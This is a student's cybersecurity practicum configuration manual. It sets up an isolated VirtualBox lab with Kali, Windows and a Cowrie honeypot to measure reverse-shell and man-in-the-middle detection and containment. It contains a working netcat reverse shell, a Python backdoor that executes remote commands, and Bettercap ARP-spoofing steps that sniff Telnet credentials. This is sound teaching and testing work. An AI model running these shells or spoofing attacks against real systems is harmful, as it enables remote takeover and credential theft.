National College of Ireland

National College of Ireland

Project Submission Sheet

Student Name:	Dion Raphael		
Student ID:	23270969		
Programme:	MSc Cybersecurity	**Year:**	2024-25
Module:	Practicum		
Lecturer:	Khadija Hafeez		
Submission Due Date:	11/08/2025		
Project Title:	Zero Trust Security Model in Enterprises		
Word Count:	1112		

I hereby certify that the information contained in this (my submission) is information pertaining to research I conducted for this project. All information other than my own contribution will be fully referenced and listed in the relevant bibliography section at the rear of the project.
ALL internet material must be referenced in the references section. Students are encouraged to use the Harvard Referencing Standard supplied by the Library. To use other author's written or electronic work is illegal (plagiarism) and may result in disciplinary action. Students may be required to undergo a viva (oral examination) if there is suspicion about the validity of their submitted work.

Signature: Dion Raphael

Date: 11/08/2025

PLEASE READ THE FOLLOWING INSTRUCTIONS:

1. Please attach a completed copy of this sheet to each project (including multiple copies).
2. Projects should be submitted to your Programme Coordinator.
3. **You must ensure that you retain a HARD COPY of ALL projects**, both for your own reference and in case a project is lost or mislaid. It is not sufficient to keep a copy on computer. Please do not bind projects or place in covers unless specifically requested.
4. You must ensure that all projects are submitted to your Programme Coordinator on or before the required submission date. **Late submissions will incur penalties.**
5. All projects must be submitted and passed in order to successfully complete the year. **Any project/assignment not submitted will be marked as a fail.**

Office Use Only	
Signature:	
Date:	
Penalty Applied (if applicable):	

AI Acknowledgement Supplement

Practicum

Zero Trust Security Model in Enterprises

Your Number	Name/Student	Course	Date
23270969		MSc Cybersecurity	11/08/2025

This section is a supplement to the main assignment, to be used if AI was used in any capacity in the creation of your assignment; if you have queries about how to do this, please contact your lecturer. For an example of how to fill these sections out, please click here.

AI Acknowledgment

This section acknowledges the AI tools that were utilized in the process of completing this assignment.

Tool Name	Brief Description	Link to tool

Description of AI Usage

This section provides a more detailed description of how the AI tools were used in the assignment. It includes information about the prompts given to the AI tool, the responses received, and how these responses were utilized or modified in the assignment. **One table should be used for each tool used**.

[Insert Tool Name]	
[Insert Description of use]	
[Insert Sample prompt]	[Insert Sample response]

Evidence of AI Usage

This section includes evidence of significant prompts and responses used or generated through the AI tool. It should provide a clear understanding of the extent to which the AI tool was used in the assignment. Evidence may be attached via screenshots or text.

Additional Evidence:

[Place evidence here]

Additional Evidence:

[Place evidence here]

Configuration Manual

Dion Raphael
23270969

Zero-Trust / Honeypot-Based MITM-Detection Test-bed
VirtualBox · Kali · Windows · Ubuntu (Cowrie)

0. Prerequisites & Host-Side Setup

Item	Version / Notes
Host OS	Windows 10 / 11 or macOS / Linux with ≥ 16 GB RAM, ≥ 60 GB disk
VirtualBox	≥ 7.0.x (with Extension Pack)
ISO / OVA images	*kali-linux-2024.2*, *Win10 Enterprise Eval 22H2*, *Ubuntu 24.04 LTS*
Network mode	**Internal Network** named `intnet` (no internet exposure)
Optional	Enable VT-x/AMD-V & nested paging in BIOS

1. VM Creation & Network Topology

1.1 Common Network Adapter

1. In **VirtualBox > Preferences > Network > Host-only Networks** create:
   Name `intnet` → **OK**
2. For each VM (**Kali, Windows, Ubuntu**) open **Settings > Network →**
   `Adapter 1` → **Attached to** `Internal Network` → *Name* `intnet`.

1.2 Static IP Plan

VM	IP	Role
Kali Linux	`192.168.1.10/24`	Attacker / Bettercap
Windows 10	`192.168.1.20/24`	Victim IoT node
Ubuntu 24.04	`192.168.1.30/24`	Cowrie honeypot

No gateway is configured (isolated lab).

1.3 Configure IPs

Kali (`/etc/netplan/01-intnet.yaml`)

```
network:
  version: 2
  ethernets:
    eth0:
      addresses: [192.168.1.10/24]
sudo netplan apply
```

Windows

```
netsh interface ip set address "Ethernet" static 192.168.1.20 255.255.255.0
```

Ubuntu (`/etc/netplan/01-intnet.yaml`)

```
network:
  version: 2
  ethernets:
    enp0s3:
      addresses: [192.168.1.30/24]
sudo netplan apply
```

Verify

```
ping 192.168.1.20   # from Kali
ping 192.168.1.10   # from Windows
```

2. Kali Linux (Attacker) Configuration

2.1 Essential Packages

```
sudo apt update && sudo apt -y install nmap netcat-traditional wireshark \
bettercap git build-essential
```

2.2 Bettercap Quick Test

```
sudo bettercap -iface eth0 -eval "net.show"
```

3. Windows 10 (Victim) Configuration

3.1 Install Nmap Suite (includes ncat.exe)

Download `nmap-7.xx-setup.exe` → default install to `C:\Program Files (x86)\Nmap\`.

3.2 Install Python 3

Download **python-3.x.x-amd64.exe** → *Add Python to PATH.*

3.3 Enable Telnet Client

```
dism /online /Enable-Feature /FeatureName:TelnetClient
```

4. Ubuntu 24.04 (Cowrie Honeypot)

4.1 Dependencies

```
sudo apt update && sudo apt -y install git python3 python3-venv python3-pip \
libssl-dev libffi-dev build-essential libpython3-dev libevent-dev authbind
```

4.2 Clone & Install Cowrie

```
cd ~
git clone https://github.com/cowrie/cowrie.git
cd cowrie
python3 -m venv cowrie-env
source cowrie-env/bin/activate
pip install --upgrade pip
pip install -r requirements.txt
cp etc/cowrie.cfg.dist etc/cowrie.cfg
```

4.3 Configure Telnet on Port 2323

Edit `etc/cowrie.cfg` ↓

```
[telnet]
enabled = true
listen_endpoints = tcp:2323:interface=0.0.0.0
reported_port  = 2323
```

4.4 Start Cowrie

```
bin/cowrie start -n          # -n = foreground, useful for testing
```

Logs: `~/cowrie/var/log/cowrie/cowrie.log`
TTY sessions: `~/cowrie/var/lib/cowrie/tty/`

5. Reverse-Shell & Backdoor Simulation

5.1 Netcat Shell (Baseline)

Kali

```
nc -lvnp 4444
```

Windows

```
cd "C:\Program Files (x86)\Nmap"
ncat 192.168.1.10 4444 -e cmd.exe
```

Capture with Wireshark filter `tcp.port==4444`.

5.2 Python Backdoor on Windows

```
backdoor.py
```

```
import socket, subprocess, os
host, port = "192.168.1.10", 9999
s = socket.socket(); s.connect((host, port))
while True:
    cmd = s.recv(1024).decode()
    if cmd.lower() == "exit": break
    output = subprocess.getoutput(cmd)
    s.send(output.encode())
s.close()
```

Run listener on Kali:

```
nc -lvnp 9999
```

Execute on Windows:

```
python backdoor.py
```

Log timestamps in Wireshark for **TTD/TTC** metrics.

6. MITM Capture with Bettercap

```
sudo bettercap -iface eth0
>> set arp.spoof.targets 192.168.1.30
```

```
>> arp.spoof on
>> set net.sniff.verbose true
>> set net.sniff.filter tcp port 2323
>> net.sniff on
```

Observe plaintext Telnet credentials.

7. Victim Telnet Interaction

On Windows:

```
telnet 192.168.1.30 2323
login: root
password: toor
whoami
dir
exit
```

Cowrie logs attempts, Bettercap sniffs traffic.

8. Zero-Trust / Blocking Demonstration (Optional)

Windows firewall deny

```
New-NetFirewallRule -DisplayName "Block_Backdoor" `
    -Direction Outbound -Action Block -Protocol TCP -RemotePort 9999
```

Re-run `backdoor.py` → connection refused (containment).

9. Evidence Collection & Integrity

1. **Save artefacts**
   - `reverse_shell_4444.pcap`
   - `telnet_mitm_2323.pcap`
   - `cowrie.log`, `cowrie.json`, `tty/*`
   - `backdoor_session.txt`, `bettercap_session.txt`
2. **Hash**

```
sha256sum *.pcap *.log > hashes.txt
```

10. Clean Start/Stop Cheat-Sheet

Action	Kali	Ubuntu	Windows
Start listener	`nc -lvnp 4444` / `9999`	—	—
Start Bettercap	`sudo bettercap -iface eth0`	—	—
Start Cowrie	—	`bin/cowrie start -n`	—
Stop Cowrie	—	`bin/cowrie stop`	—
Reverse shell	—	—	`ncat …` / `python backdoor.py`
Telnet test	—	—	`telnet 192.168.1.30 2323`